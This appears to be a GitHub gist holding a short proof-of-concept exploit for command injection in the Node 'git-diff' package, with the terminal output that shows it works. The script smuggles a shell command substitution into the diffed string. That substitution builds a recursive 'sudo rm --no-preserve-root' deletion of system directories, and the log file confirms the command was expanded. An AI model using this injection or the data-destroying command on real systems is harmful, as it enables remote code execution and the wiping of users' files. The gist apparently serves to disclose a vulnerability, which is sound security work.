Last active
August 12, 2019 21:01
-
-
Save mk-pmb/87529a1f65fd47f0abd4d0199536c389 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ cat exploit.js | |
'use strict'; | |
var gitDiff = require('git-diff') | |
var oldStr = 'exploit\n' | |
var newStr = 'exploit$($(echo sudo rm --recursive --force ' | |
+ '--no-preserve-root /[hmrv]*/ >/tmp/yolo.log 2>&1))ed\n' | |
var diff = gitDiff(oldStr, newStr) | |
console.log(diff); | |
$ nodejs exploit.js | |
@@ -1 +1 @@ | |
-exploit | |
+exploited | |
$ cat /tmp/yolo.log | |
sudo rm --recursive --force --no-preserve-root /home/ /media/ /mnt/ /root/ /run/ /var/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment